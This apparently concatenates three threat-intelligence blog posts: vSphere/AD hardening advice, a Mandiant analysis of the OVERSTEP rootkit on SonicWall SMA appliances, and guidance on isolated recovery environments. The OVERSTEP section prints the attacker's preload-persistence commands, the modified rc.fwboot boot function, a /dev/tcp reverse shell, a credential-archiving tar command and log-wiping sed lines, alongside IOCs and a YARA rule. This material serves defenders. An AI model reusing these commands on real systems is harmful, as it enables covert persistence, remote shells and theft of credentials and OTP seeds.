Unencrypted VM Disks

AD database (NTDS.dit), registry hives, and password hashes can be stolen from VMDKs.

Role: Datastore Consumer, VM Admin or higher. Permission Datastore > Browse, Datastore > Low level file operations

Snapshot Creation

Snapshots preserve memory and disk state; can be used to extract in-memory credentials.

Role: Virtual Machine Power User or higher. Permission: Virtual Machine > State > Create Snapshot

Mounting VMDK to another VM

Enables offline extraction of AD secrets (e.g., NTDS.dit, registry, SYSVOL).

Role: VM Admin or custom with disk-level access. Permission Virtual Machine > Configuration > Add existing disk, Datastore > Browse

Exporting / Cloning VM

Enables offline AD analysis, allowing credential extraction or rollback attacks.

Role: Virtual Machine Administrator or higher. Permission: Virtual Machine > Provisioning > Clone, Export OVF Template

Console Access (VMRC / Web Console)

Full keyboard/video access enables manual attacks or credential harvesting.

Role: Virtual Machine User or higher. Permission: Virtual Machine > Interaction > Console interaction

vNIC on Improper VLAN

VM exposed to lateral movement or direct attack from compromised systems.

Role: Virtual Machine Admin or custom. Permission: Virtual Machine > Configuration > Modify device settings

Copy/Paste via vSphere Tools

Silent exfiltration of credentials/scripts via clipboard or drag/drop.

No specific vCenter privilege — host config or tools policy used

BIOS/Boot Order Abuse

ISO boot enables password resets, security bypass, or persistence.

Role: Virtual Machine Admin or custom. Permission: Virtual Machine > Configuration > Modify device settings

Delegation of trust from vSphere vCenter to AD grants implicit administrator privileges on the trusted systems to any AD domain administrator. This elevates the risk profile of AD compromise, impacting the entire infrastructure. To mitigate this, implement a two-pronged strategy: first, create a separate, dedicated vSphere environment specifically for the most critical Tier 0 assets, including AD. This isolated environment should be physically or logically separated from other systems and highly secured with robust network segmentation. Second, implement a zero-trust security model for the control plane of this environment, verifying every access request regardless of source. Within this isolated environment, deploy a dedicated "infrastructure-only" IdP (on-premises or cloud). Implementing the principle of least privilege is paramount. 

A dedicated, isolated vSphere environment for Tier 0 assets (e.g., Active Directory) should have strictly limited administrative access (via a PAW), granting permissions only to those directly managing the infrastructure. This significantly reduces the impact of a breach by preventing lateral movement and minimizing damage. Unnecessary integrations should be avoided to maintain the environment's security and adhere to the least-privilege model.

To effectively safeguard critical Tier 0 assets operating within the vSphere environment–specifically systems like Privileged Access Management (PAM), Security Information and Event Management (SIEM) virtual appliances, and any associated AD tools deployed as virtual appliances–a multilayered security approach is essential. These assets must be treated as independent, self-sufficient environments. This means not only isolating their network traffic and operational dependencies but also, critically, implementing a dedicated and entirely separate identity provider (IdP) for their authentication and authorization processes. For the highest level of assurance, these Tier 0 virtual machines should be hosted directly on dedicated physical servers. This practice of physical and logical segregation provides a far greater degree of separation than shared virtualized environments. 

The core objective here is to break the authorization dependency chain, ensuring that credentials or permissions compromised elsewhere in the network cannot be leveraged to gain access to these Tier 0 systems. This design creates defense in depth security barriers, fundamentally reducing the likelihood and impact of a complete system compromise.

Conclusion

Mandiant has observed that threat actors are increasingly targeting vSphere, not just for ransomware deployment, but also as a key avenue for data exploitation and exfiltration. This shift is demonstrated by recent threat actor activity observed by GTIG, where adversaries have leveraged compromised vSphere environments to exfiltrate sensitive data such as AD databases before or alongside ransomware execution.

As this document has detailed, the widespread reliance on vSphere, coupled with often underestimated risks inherent in its integration with AD and the persistence of insecure default configurations, creates a dangerously vulnerable landscape. Threat actors are not only aware of these weaknesses but are actively exploiting them with sophisticated attacks increasingly targeting ESXi and vCenter to achieve maximum impact.

The usability and stability that make vSphere a foundational standard for on-premise and private clouds can be misleading; they do not equate to inherent security. The evolution of the threat landscape, particularly the direct targeting of the hypervisor layer which bypasses traditional endpoint defenses, necessitates a fundamental shift in how vSphere security is approached. Relying on outdated practices, backups, perimeter defenses alone, or assuming EDR on guest VMs provides sufficient protection for the underlying infrastructure creates significant security gaps and exposes an organization to severe risks.

Identity integration vulnerabilities will be exploited, therefore, organizations are strongly urged to immediately assess their vSphere environment's AD integration status and decisively prioritize the implementation of the mitigation strategies outlined in this document. This proactive stance is crucial to effectively counter modern threats and includes:

1. Decoupling critical dependencies: Severing direct ESXi host integration with AD is paramount to shrinking the AD attack surface.

2. Modernizing authentication: Implementing robust, phishing-resistant MFA for vCenter, preferably via identity federation with modern IdPs, is no longer optional but essential.

3. Systematic hardening: Proactively addressing the insecure defaults for ESXi and vCenter, enabling features like execInstalledOnly, Secure Boot, TPM, Lockdown Mode, and configuring stringent firewall rules.

4. Enhanced visibility: Implementing comprehensive remote logging for both ESXi and vCenter, feeding into a SIEM with use cases specifically designed to detect hypervisor-level attacks.

5. Protecting Tier 0 assets: Strategically isolating critical workloads like Active Directory Domain Controllers in dedicated, highly secured vSphere environments with strict, minimized access controls and encrypted VMs and vMotion.

The upcoming end-of-life for vSphere 7 in October 2025 means that vast numbers of organizations will not be able to receive product support, security patches and updates for a product that underpins Infrastructure. This presents a critical juncture for organizations and a perfect storm for threat actors. The transition away from vSphere 7 should be viewed as a key opportunity to re-architect for security, not merely a routine upgrade to implement new features and obtain support. Failure to proactively address these interconnected risks by implementing these recommended mitigations will leave organizations exposed to targeted attacks that can swiftly cripple their entire virtualized infrastructure, leading to operational disruption and financial loss. The time to adopt a resilient, defense-in-depth security posture to protect these critical vSphere environments is unequivocally now.

Written by: Josh Goddard, Zander Work, Dimiter Andonov

UPDATE (Sep 16): Clarified hunting guidance specifics surrounding ld.so.preload files.

UPDATE (July 30): Added additional network IOC identified by Sonicwall as being associated with OVERSTEP. 

 

Introduction

Google Threat Intelligence Group (GTIG) has identified an ongoing campaign by a suspected financially-motivated threat actor we track as UNC6148, targeting fully patched end-of-life SonicWall Secure Mobile Access (SMA) 100 series appliances. GTIG assesses with high confidence that UNC6148 is leveraging credentials and one-time password (OTP) seeds stolen during previous intrusions, allowing them to regain access even after organizations have applied security updates. Evidence for the initial infection vector was limited, as the actor's malware is designed to selectively remove log entries, hindering forensic investigation; however, it is likely this was through the exploitation of known vulnerabilities.

In this new wave of activity, the actor has deployed a previously unknown persistent backdoor/user-mode rootkit, which GTIG tracks as OVERSTEP. Based on findings from Mandiant Incident Response engagements, our analysis shows this malware modifies the appliance's boot process to maintain persistent access, steal sensitive credentials, and conceal its own components. GTIG assesses with moderate confidence that UNC6148 may have used an unknown zero-day remote code execution vulnerability to deploy OVERSTEP on opportunistically targeted SonicWall SMA appliances.

GTIG assesses with moderate confidence that UNC6148's operations, dating back to at least October 2024, may be to enable data theft and extortion operations, and possibly ransomware deployment. An organization targeted by UNC6148 in May 2025 was posted to the "World Leaks" data leak site (DLS) in June 2025, and UNC6148 activity overlaps with publicly reported SonicWall exploitation from late 2023 and early 2024 that has been publicly linked to the deployment of Abyss-branded ransomware (tracked by GTIG as VSOCIETY).

Given the risk of recompromise using previously stolen credentials, organizations should follow the recommendations within this post to hunt for potential compromises and rotate all credentials, even if their appliances are fully patched. This blog post provides technical details on the OVERSTEP rootkit and the UNC6148 campaign to aid defenders in mitigating this threat.

Initial SMA Exploitation to Gain Administrator Credentials

Mandiant's first observations of UNC6148 in a recent investigation showed that they already had local administrator credentials to the targeted SMA 100 series appliance, and neither forensic evidence nor other data was identified to show how those credentials were obtained. GTIG assesses with high confidence that UNC6148 exploited a known vulnerability to steal administrator credentials prior to the targeted SMA appliance being updated to the latest firmware version (10.2.1.15-81sv), based on the patching timeline and public reporting of SonicWall n-day exploitation activity throughout 2025. Analysis of network traffic metadata records suggests that UNC6148 may have initially exfiltrated these credentials from the SMA appliance as early as January 2025.

Public reporting from SonicWall and multiple security firms has highlighted several different vulnerabilities that could possibly have been exploited by UNC6148:

• CVE-2021-20038: Unauthenticated remote code execution (SonicWall advisory, Truesec report, AttackerKB entry)

• This is a memory corruption vulnerability that can be executed to gain code execution; however, Rapid7's public exploit can make up to 200,000 HTTP requests and could take over an hour to execute, suggesting a widespread campaign may not take advantage of this vulnerability.

• Truesec identified this as a plausible entrypoint for intrusion activity they observed in late 2023 targeting a SonicWall SMA.

• CVE-2024-38475: Unauthenticated path traversal vulnerability in Apache HTTP Server, which affected the SMA 100 series (SonicWall advisory, Orange CyberDefense/SCRT blog post)

• This can be exploited on the SMA 100 series specifically to exfiltrate two different SQLite databases, temp.db and persist.db, which store sensitive information including user account credentials, session tokens, and OTP seed values.

• watchTowr published a blog post in May 2025 describing how this vulnerability can be chained with another bug, CVE-2023-44221, to compromise an SMA 100 series appliance; however, we did not identify any evidence suggesting this bug chain was used by UNC6148.

• CVE-2021-20035: Authenticated remote code execution vulnerability (SonicWall advisory, ArcticWolf report)

• This is a command injection vulnerability in the handler for /cgi-bin/sitecustomization POST requests.

• Arctic Wolf and SonicWall reported on this vulnerability being exploited in the wild in April 2025.

• CVE-2021-20039: Authenticated remote code execution vulnerability (SonicWall advisory, dfir.ch blog post, AttackerKB entry)

• This is a command injection vulnerability in the request handler for /cgi-bin/viewcert.

• dfir.ch reported this vulnerability being used to exploit SonicWall SMAs in an intrusion that led to the deployment of Abyss-branded ransomware in March 2024, with similar intrusion artifacts to Mandiant's investigation.

• CVE-2025-32819: Authenticated file deletion vulnerability (SonicWall advisory, Rapid7 report)

• Using a crafted HTTP request, this vulnerability can be exploited to cause a targeted SonicWall SMA to revert the built-in administrator credentials to password, granting the attacker administrator access.

There are several different paths UNC6148 could have taken with the aforementioned vulnerabilities, or possibly a different vulnerability not mentioned here. CVE-2024-38475 would have provided local administrator credentials and valid session tokens that UNC6148 could reuse, making it an attractive target, but Mandiant was not able to confirm abuse of that vulnerability. Exploitation of the previously mentioned authenticated bugs would require UNC6148 to already have some level of credentials to the SMA appliance, making them less likely to have been abused, but still worth mentioning due to their in-the-wild exploited status. It is also possible that credentials could have been obtained through infostealer logs or credential marketplaces, but GTIG was unable to identify any direct credential exposure related to the abused SMA appliance credentials.

Subsequent SMA Compromise and OVERSTEP Deployment

Mandiant's aforementioned investigation showed that in June 2025, UNC6148 established a Secure Sockets Layer virtual private network (SSL VPN) session on the targeted SMA 100 series appliance using the mentioned local administrator credentials from a BitLaunch (BLNWX) VPS (193.149.180.50). 

Once the SSL VPN session was established, the attacker spawned a reverse shell on the targeted SMA appliance. Shell access should not be possible by design on these appliances, and Mandiant's joint investigation with the SonicWall Product Security Incident Response Team (PSIRT) did not identify how UNC6148 established this reverse shell. It's possible the reverse shell was established via exploitation of an unknown vulnerability by UNC6148.

Through the reverse shell, UNC6148 performed initial reconnaissance and file manipulation using a variety of built-in system binaries such as cat, chmod, cp, date, hostname, mkdir, mount, mv, and rm. Mandiant also observed the actor export and import settings to the SMA appliance, along with new network access control policy rules created for IP addresses used by UNC6148, suggesting they may have modified an exported settings file offline to include new rules for their infrastructure to ensure uninterrupted operations.

Following this initial activity, the attacker deployed the OVERSTEP backdoor. This process involved executing a series of commands to decode the binary from Base64 into the persistent /cf directory with the filename xxx.elf, moving it to /usr/lib/libsamba-errors.so.6, and ensuring persistence by adding its path to /etc/ld.so.preload.

cd /cf; touch xxx.elf; openssl enc -base64 -d [REDACTED] >>xxx.elf; chmod 777 /usr/lib/libsamba-errors.so.6; touch -c /usr/lib/libsamba-errors.so.6 -r echo /usr/lib/libsamba-errors.so.6 > /etc/ld.so.preload; chown root:root /usr/lib/libsamba-errors.so.6; chmod 777 /usr/lib/libsamba-errors.so.6; touch -c /usr/lib/libsamba-errors.so.6 -r echo /usr/lib/libsamba-errors.so.6 > /etc/ld.so.preload; arp

Figure 1: Selection of attacker shell commands executed on the appliance

Next, UNC6148 modified the legitimate RC file /etc/rc.d/rc.fwboot to achieve persistence for OVERSTEP. The changes meant that whenever the appliance was rebooted, the OVERSTEP binary would be loaded into the running filesystem on the appliance. Specifically, the bootCurrentFirmware function in the rc.fwboot script was modified to include code that performed the following:

• Created a temporary directory named zzz within the present firmware directory. This directory served as a staging area to unpack, modify, and repack the INITRD image. It was a preparatory step for injecting malicious content without directly overwriting critical system files during runtime.

• Decompressed the INITRD.GZ file, which was the compressed initial RAM disk image. The decompressed file was named INITRD, which contains the minimal root filesystem that is loaded into memory during the boot process before the actual root filesystem is mounted. Modifying this image allowed the attacker to inject malicious files that will be present and executable early in the boot sequence, making it difficult to detect and remove.

• Mounted the decompressed INITRD file as a loop device to the newly created $fwLoc/zzz directory. This made the contents of the INITRD file accessible and modifiable as if it were a regular filesystem. This was an important step that allowed the script to browse and modify the contents of the initial RAM disk.

• Copied the file libsamba-errors.so.6 from /cf/ into the mounted INITRD directory /usr/lib/.

• Changed the owner and group of the file libsamba-errors.so.6 to root:root. This sets the permissions to mimic legitimate system libraries, which are typically owned by root.

• Changed the file permissions of the copied malicious library to 0777 (read, write, and execute for owner, group, and others).

• Employed a timestomping technique, attempting to copy the modification timestamp from the legitimate file libsamba-errors.so to the malicious file libsamba-errors.so.6. The goal was to make the malicious file appear as if it were part of the original system installation, thereby hindering detection and investigation.

• Wrote the path to the malicious file /usr/lib/libsamba-errors.so.6 into the ld.so.preload file located within the INITRD directory /etc/. This causes dynamic executables to load the OVERSTEP shared object file, providing persistence and privileged execution in system processes.

• Cleaned up temporary modifications, including:

• Flushing pending disk writes to ensure all changes to the INITRD file were saved

• Unmounting the INITRD file from the temporary directory

• Recompressing the modified INITRD file

• Removing the temporary directory

• Renamed the newly compressed INITRD to INITRD.GZ, matching the expected filename.

• Changed the timestamps of the modified INITRD.GZ file to match those of the kernel image file, BZIMAGE. This was another timestomping operation to hinder detection and investigation. 

• Loaded the kernel image BZIMAGE and the modified initial RAM disk, INITRD.GZ, into memory for a new kernel execution. It also appended kernel boot options from LINUX.OPT. This prepared the system to boot into the modified firmware. The use of kexec allowed the running Linux kernel to boot another Linux kernel without a full hardware reboot.

• Executed the newly loaded kernel by initiating a soft reboot.

In summary, the code took advantage of the system's boot process to inject a persistent rootkit. By modifying the INITRD file and leveraging ld.so.preload, the attacker ensured their malicious code would be loaded and executed every time any dynamic executable starts, providing them with privileged and persistence control of the appliance.

function bootCurrentFirmware() { echo "$FUNCNAME: begin" >> $LOGFILE fwLoc=/cf/firmware/current if [ ! -f $fwLoc/BZIMAGE ]; then echo "Can't locate the kernel image" >> $LOGFILE; elif [ -f $fwLoc/INITRD ]; then echo "Can't locate the filesystem image" >> $LOGFILE; else mkdir $fwLoc/zzz gzip -d $fwLoc/INITRD.GZ mount -o loop $fwLoc/INITRD $fwLoc/zzz cp /cf/libsamba-errors.so.6 $fwLoc/zzz/usr/lib/libsamba-errors.so.6 chown root:root $fwLoc/zzz/usr/lib/libsamba-errors.so.6 chmod 777 $fwLoc/zzz/usr/lib/libsamba-errors.so.6 touch -c $fwLoc/zzz/usr/lib/libsamba-errors.so.6 -r $fwLoc/zzz/usr/lib/libsamba-errors.so echo /usr/lib/libsamba-errors.so.6 > $fwLoc/zzz/etc/ld.so.preload sync; umount $fwLoc/zzz; sync; gzip $fwLoc/INITRD; rm -rf $fwLoc/zzz mv $fwLoc/INITRD.gz $fwLoc/INITRD.GZ; touch -c $fwLoc/INITRD.GZ -r $fwLoc/BZIMAGE /usr/local/sbin/kexec -l $fwLoc/BZIMAGE --initrd=$fwLoc/INITRD.GZ --append="`cat $fwLoc/LINUX.OPT`" /usr/local/sbin/kexec -e; fi echo "$FUNCNAME: end" >> $LOGFILE }

Figure 2: Modified function in the rc.fwboot file to provide persistence for OVERSTEP

Once the deployment of OVERSTEP was complete, the threat actor cleared the system logs and rebooted the appliance to trigger the execution of OVERSTEP.

Analysis of OVERSTEP

OVERSTEP is a backdoor written in C, designed for SonicWall SMA 100 series appliances; observed samples have been compiled as a 32-bit ELF shared object for the Intel x86 architecture. This shared object is designed to be loaded into processes via the /etc/ld.so.preload file. When preloaded in this manner, the malicious library is mapped into the address space of subsequently launched processes. This preloading enables the malware to hijack standard library functions—specifically open, open64, readdir, readdir64, and write—by ensuring these symbols are resolved from the malicious shared object before the legitimate system libraries. The backdoor's primary functionalities are to establish a reverse shell and exfiltrate passwords from the compromised host. Additionally, the malware implements usermode rootkit capabilities by leveraging its hooked file system-related functions (open, open64, readdir, readdir64) to effectively hide its components on the host. Communications with the command-and-control (C2 or C&C) server are indirect, relying on parsing commands from buffers intercepted by the malicious write API.

The path to the malicious shared object was added to the /etc/ld.so.preload file, which effectively ensures the malware will persist on the compromised appliance. Due to its inclusion in the /etc/ld.so.preload file, the malware's shared object is mapped into every new process executed on the compromised system. Upon being mapped, the malware gains execution through its initialization routine, specifically via its exported my_init function. This my_init function then sets the FS_IMMUTABLE_FL flag on /etc/ld.so.preload, effectively preventing its modification, deletion, renaming, or the creation of links to it. This preloading mechanism enables the malware to perform LD_PRELOAD hijacking, interposing its own versions of the following standard library functions: open, open64, readdir, readdir64, and write. The hijacked open* and readdir* APIs are leveraged to implement a usermode rootkit, concealing the malware's presence and components. The core backdoor functionality, conversely, is implemented within the hooked write function. The rootkit and backdoor functionalities are described in greater detail in the subsequent sections.

Usermode Rootkit

The hijacked open and open64 API functions, which typically specify a file path and access mode, are manipulated by the malware. The malware's implementation of these functions checks if the requested file path is /etc/ld.so.preload. If a match occurs, it returns an error code, thereby preventing any process on the compromised system from opening this critical file.

The hijacked readdir and readdir64 API functions are used to conceal the following artifacts from directory listings:

• /proc entries related to bash, sh, or ssh 

• libsamba-errors.so.6 (the filename of the malware observed on this particular system) 

• /etc/ld.so.preload

Backdoor

The backdoor's command execution mechanism is centered on its hijacked write API function. The standard write API receives a buffer containing data destined for an I/O stream. In this implementation, the malicious write function examines the first 1024 bytes of this buffer, searching for the command strings dobackshell or dopasswords. If either string is detected, the malware expects to find associated command parameters immediately following it.

• dobackshell

  • Starts a reverse shell using the command bash -i >& /dev/tcp/<ip>/<port> 0>&1 &.

  • Parameters: IP address and port.

• dopasswords

  • Creates a TAR archive with the provided <filename>, bundling sensitive files using the command in Figure 3. Notably, the TAR archive is saved in the web-accessible directory /usr/src/EasyAccess/www/htdocs with permissive 777 permissions. This allows an attacker to download the archive via a web browser.
  • Parameters: Filename of the TAR archive.

tar czfP /usr/src/EasyAccess/www/htdocs/<filename>.tgz /tmp/temp.db /etc/EasyAccess/var/conf/persist.db /etc/EasyAccess/var/cert; chmod 777 /usr/src/EasyAccess/www/htdocs/<filename>.tgz

Figure 3: Shell commands executed by the dopasswords OVERSTEP command

Following the parsing and execution of a command, the malware attempts to remove corresponding entries from affected log files. This cleanup is performed using the sed command: sed -i '/<cmd>/d' /var/log/<log_file>, where <cmd> is either dobackshell or dopasswords. The targeted <log_file> can be httpd.log, http_request.log, or inotify.log. This log cleaning process is only initiated if the malware can successfully elevate its privileges by setting its UID and GID to 0.

Receiving Commands

The malware was designed to receive commands embedded within web requests. For instance, a legitimate httpd server might receive a URL (e.g., https://<compromised_server>/query?q=dobackshell<params>) containing the command and its parameters. The server would then attempt to log this request to files such as httpd.log, http_request.log, or inotify.log. At this juncture, because the malicious shared object is preloaded into the httpd process's address space, the call to write is intercepted. The malicious write function then parses the log data and dispatches any recognized command. While, technically, write operations from any process could be used to deliver commands, this web server log vector is likely the intended and most practical method from an attacker's perspective.

Risk and Post-Compromise Activities

In our investigations, GTIG observed beaconing traffic from compromised appliances, but we did not identify notable post-compromise activities. The actor's success in hiding their tracks is largely due to OVERSTEP's capability to selectively delete log entries from httpd.log, http_request.log, and inotify.log. This anti-forensic measure, combined with a lack of shell history on disk, significantly reduces visibility into the actor's secondary objectives.

The primary risk stems from OVERSTEP's functionality to steal sensitive files. Its ability to exfiltrate the persist.db database and certificate files from the /etc/EasyAccess/var/cert directory gives the attacker credentials, OTP seeds, and certificates. While we did not directly observe the weaponization of this stolen data, it creates a clear path for persistent access.

Impacted organizations should rotate all secrets stored on the appliances and follow the recommendations in this article.

Wider Context and Campaigns

This campaign extends beyond the incidents GTIG directly investigated. We have identified targeting of other SonicWall SMA appliances by UNC6148, including possible scanning activity dating back to at least October 2024. Our findings are also supported by SonicWall, which has confirmed reports of other impacted organizations and subsequently updated its advisory for CVE-2024-38475 to recommend OTP seed rotation.

While GTIG has not directly observed monetization or other end-stage goals associated with this campaign, analysis of historical network telemetry data revealed traffic involving an SMA 100 series appliance in May 2025 affiliated with an organization that later appeared on the "World Leaks" DLS in June 2025; however, we cannot rule out coincidental overlap at this time.

Additionally, UNC6148 activity has noteworthy overlaps with historical analysis from Truesec and dfir.ch, which involved the deployment of Abyss-branded ransomware. These overlaps, which suggest that UNC6148 is the same actor or a related one, further indicate that these intrusions could ultimately lead to data extortion and ransomware deployment.

• The OVERSTEP backdoor and deployment mechanism observed by Mandiant appears to be a direct evolution of the wafxSummary tool reported by Truesec in late 2023.

• A dfir.ch blog post from early 2024 describes an intrusion where nearly a year went by between the deployment of the wafxSummary tool Truesec wrote about, and the deployment of Abyss-branded ransomware. This is consistent with the 6-month+ time gap between initial UNC6148 activity and the deployment of OVERSTEP in our recent investigation.

Recommendations

GTIG recommends that all organizations with SMA appliances perform analysis to determine if they have been compromised. Organizations should acquire disk images for forensic analysis to avoid interference from the rootkit anti-forensic capabilities. Organizations may need to engage with SonicWall to capture disk images from physical appliances.

Hunting and Detection

Defenders should analyze disk images and peripheral log sources for the following signs of compromise:

• File System Artifacts

• Presence of any indicators of compromise (IOCs) listed in this report.

• Unexpected binaries within the persistent /cf directory or within INITRD files, especially in the /usr/lib directory. In our investigations, GTIG observed OVERSTEP residing in these directories.

• Presence of the file /etc/ld.so.preload on a disk image with greater than 2 bytes of contents. This file should not exist with actual contents on a standard SMA appliance, and the rootkit will hide it from a live system.

• Malicious modifications to RC scripts, most notably the /etc/rc.d/rc.fwboot script.

• Files with irregular timestamps within the INITRD image (/cf/firmware/).

• Log and Network Analysis

• Web requests to the appliance containing dobackshell or dopasswords in the URL query.

• Appliance event logs showing VPN sessions from external IP addresses (especially from low-reputation networks like BLNWX) using administrator accounts.

• Outbound HTTP network traffic from the appliance to external IP addresses.

• Log entries for Current settings exported, Current settings imported, or Clear all logs manually occurring outside of scheduled maintenance windows.

• Irregular activity or threats within other log files from the appliances, including from inside the FLASH.DAT files (current and backup).

• Evidence of lateral movement, primarily over Secure Shell (SSH), from the SMA appliance to other systems in the environment.

Containment and Eradication

If evidence of compromise is detected, organizations should take immediate steps to contain the threat.

• Isolate the affected appliance from the network to prevent further malicious activity.

• Preserve disk images and telemetry for a full forensic investigation.

• Because the full extent of an actor's activity can be difficult to determine, GTIG recommends engaging Mandiant Incident Response for a thorough investigation to ensure complete scoping and eradication.

Hardening and Mitigation

To mitigate the immediate threat and harden appliances against future attacks, organizations should:

• Reset all credentials, including passwords and OTP bindings for all local and directory users on the appliance. This is the most critical step to invalidate secrets stolen in previous compromises.

• Revoke and reissue any certificates with private keys stored on the appliance.

Indicators of Compromise (IOCs) Host-Based IOCs

Path(s)

SHA256 Hash

Description

/cf/xxx.elf/cf/libsamba-errors.so.6/usr/lib/libsamba-errors.so.6

b28d57269fe4cd90d1650bde5e905611
6de26d211966262e59359d0e2a67d473

OVERSTEP

/etc/rc.d/rc.fwboot

f0e0db06ca665907770e2202957d3ecc
d5a070acac1debaf0889d0d48c10e149

Modified legitimate boot RC file

Network-Based IOCs

Indicator

Description

193.149.180.50

Source of VPN sessions where compromise occurred (used by UNC6148 between at least May 2025 and June 2025)

64.52.80.80

Reverse shell IP (used by UNC6148 between at least February 2025 and June 2025)

193.149.176.230

Identified by SonicWall as triggering the OVERSTEP backdoor in July 2025

Detections YARA Rule rule G_Backdoor_OVERSTEP_1 { meta: author = "Google Threat Intelligence Group" date_created = "2025-06-03" date_modified = "2025-06-03" rev = 1 strings: $s1 = "dobackshell" $s2 = "dopasswords" $s3 = "bash -i >& /dev/tcp/%s 0>&1 &" $s4 = "tar czfP /usr/src/EasyAccess/www/htdocs/%s.tgz /tmp/temp.db /etc/EasyAccess/var/conf/persist.db /etc/EasyAccess/var/cert; chmod 777" $s5 = "/etc/ld.so.preload" $s6 = "libsamba-errors.so.6" condition: uint32(0) == 0x464c457f and filesize < 2MB and 4 of them }

Written by: Jaysn Rye

Executive Summary

As adversaries grow faster, stealthier, and more destructive, traditional recovery strategies are increasingly insufficient. Mandiant's M-Trends 2025 report reinforces this shift, highlighting that ransomware operators now routinely target not just production systems but also backups. This evolution demands that organizations re-evaluate their resilience posture. One approach gaining traction is the implementation of an isolated recovery environment (IRE)—a secure, logically separated environment built to enable reliable recovery even when an organization's primary network has been compromised.

This blog post outlines why IREs matter, how they differ from conventional disaster recovery strategies, and what practical steps enterprises can take to implement them effectively.

The Backup Blind Spot

Most organizations assume that regular backups equal resilience; however, that assumption doesn't hold up against today's threat landscape. Ransomware actors and state-sponsored adversaries are increasingly targeting backup infrastructure directly, encrypting, deleting, or corrupting it to prevent recovery and increase leverage.

The M-Trends 2025 report reveals that in nearly half of ransomware intrusions, adversaries used legitimate remote management tools to disable security controls and gain persistence. In these scenarios, the compromise often extends to backup systems, especially those accessible from the main domain.

Figure 1: Observed tools in 2024 ransomware-related investigations (source: M-Trends 2025)

In short: your backup isn't safe if it's reachable from your production network. During an active incident, that makes it irrelevant.

What Is an Isolated Recovery Environment?

An isolated recovery environment (IRE) is a secure enclave designed to store immutable copies of backups and provide a secure space to validate restored workloads and rebuild in parallel while incident responders carry out the forensic investigation. Unlike traditional disaster recovery solutions, which often rely on replication between live environments, an IRE is logically and physically separated from production.

At its core, an IRE is about assuming a breach has occurred and planning for the moment when your primary environment is lost, ensuring you have a clean fallback that hasn't been touched by the adversary.

Key Characteristics of an IRE

• Separation of infrastructure and access: The IRE must be isolated from the corporate environment. No shared authentication, no shared tooling, no shared infrastructure or services, no persistent network links or direct TCP/IP connections between the production environment and the IRE.
• Restricted administrative workflows: Day-to-day access is disallowed. Only break-glass, documented processes exist for access during validation or recovery.
• Known-good, validated artifacts: Data entering the IRE must be scanned, verified, and stored with cryptographic integrity checks all while maintaining the isolation controls.
• Validation environment and tools: The IRE must also include a secured network environment, which can be used by security teams to validate restored workloads and remove any identified attacker remnants.
• Recovery-ready templates: Rather than restoring single machines, the IRE should support the rapid rebuild of critical systems in isolation with predefined procedures.

Implementation Strategy

Successfully implementing an IRE is not a checkbox exercise. It requires coordination between security, infrastructure, identity management, and business continuity teams. The following breaks down the major building blocks and considerations.

Infrastructure Segmentation and Physical Isolation

The foundational principle behind an IRE is separation. The environment must not share any critical infrastructure, identity, network, hypervisors, storage, or other services with the production environment. In most cases, this means:

• Dedicated platforms (on-premises or cloud based) and tightly controlled virtualization platforms

• No routable paths from production to the IRE network

• Physical air-gaps or highly restricted one-way replication mechanisms

• Independent DNS, DHCP, and identity services

Figure 2 illustrates the permitted flows into and within the IRE.

Figure 2: Typical IRE architecture

Identity and Access Control

Identity is the primary attack vector in many intrusions. An IRE must establish its own identity plane:

• No trust relationships to production Active Directory

• No shared local or domain accounts

• All administrative access must require phishing resistant multi-factor authentication (MFA)

• All administrative access should be via hardened Privileged Access Workstations (PAW) from within the IRE

• Where possible, implement just-in-time (JIT) access with full audit logging

Accounts used to manage the IRE should not have any ties to the production environment; this includes being used from a device belonging to the production domain. These accounts must be used from a dedicated PAW.

Secure Administration Flows

Administrative access is often the weak link that attackers exploit. That's why an IRE must be designed with tight control over how it's managed, especially during a crisis.

In the following model, all administrative access is performed from a dedicated PAW. This workstation sits inside an isolated management zone and is the only system permitted to access the IRE's core components.

Here's how it works:

• No production systems, including IT admin workstations, are allowed to directly reach the IRE. These paths are completely blocked.

• The PAW manages the IRE's:

• Isolated Data Vault, where validated backups are stored.

• Management Plane, which includes IRE services such as Active Directory, DNS, PAM, backup, and recovery systems.

• Green VLAN, which hosts rebuilt Tier-0 and Tier-1 infrastructure.

• Any restored services go first into a yellow staging VLAN, a controlled quarantine zone with no east-west traffic. Systems must be verified clean before moving into the production-ready green VLAN. Remote access to machines in the yellow VLAN is restricted to console only access (hypervisor or iLO consoles) from the PAW. No direct RDP/SSH is permitted.

This design ensures that even during a compromise of the production environment, attackers can't pivot into the recovery environment. All privileged actions are audited, isolated, and console-restricted, giving defenders a clean space to rebuild from.

Figure 3: Permitted administration paths

One-Way Replication and Immutable Storage

How data enters the IRE is just as important as how it's managed. Backups that are copied into the data transfer zone must be treated as potentially hostile until proven otherwise.

To mitigate risk:

• Data must flow in only one direction, from production to IRE, never the other way around.*

• This is typically achieved using data diodes or time-gated software replication that enforces unidirectional movement and session expiry.

• Ingested data lands in a staging zone where it undergoes:

• Hash verification against expected values.

• Malware scanning, using both signature and behavioural analysis.

• Cross-checks against known-good backup baselines (e.g., file structure, size, time delta).

Once validated, data is committed to immutable storage, often in the form of Write Once, Read Many (WORM) volumes or cloud object storage with compliance-mode object locking. Keys for encryption and retention are not shared with production and must be managed via an isolated KMS or HSM.

The goal is to ensure that even if an attacker compromises your primary backup system, they cannot alter or delete what's been stored in the IRE.

*Depending on overall recovery strategies, it's possible that restored workloads may need to move from the IRE back to a rebuilt production environment. 

Recovery Workflows and Drills

An IRE is only useful if it enables recovery under pressure. That means planning and testing full restoration of core services. Effective IRE implementations include:

• Templates for rebuilding domain controllers, authentication services, and core applications

• Automated provisioning of VMs or containers within the IRE

• Access to disaster recovery runbooks that can be followed by incident responders

• Scheduled tabletop and full-scale recovery exercises (e.g., quarterly or bi-annually)

Many organizations discover during their first exercise that their documentation is out of date or their backups are incomplete. Recovery drills allow these issues to surface before a real incident forces them into view.

Hash Chaining and Log Integrity

If you're relying on the IRE for forensic investigation as well as recovery, it's essential to ensure the integrity of system logs and metadata. This is where hash chaining becomes important.

• Implement hash chaining on logs stored in the IRE to detect tampering.

• Apply digital signatures from trusted, offline keys.

• Regularly verify the chain against trusted checkpoints.

This ensures that during an incident, you can prove not only what happened but also that your evidence hasn't been modified, either by an attacker or by accident.

Choosing the Right IRE Deployment Model

The right model depends on your environment, compliance obligations, and team maturity.

Model

Advantages

Challenges

On-Premises

Full control, better for air-gapped environments

Higher CapEx, longer provisioning time, less flexibility

Cloud

Faster provisioning, built-in automation, easier to test

Requires strong cloud security maturity and IAM separation

Hybrid

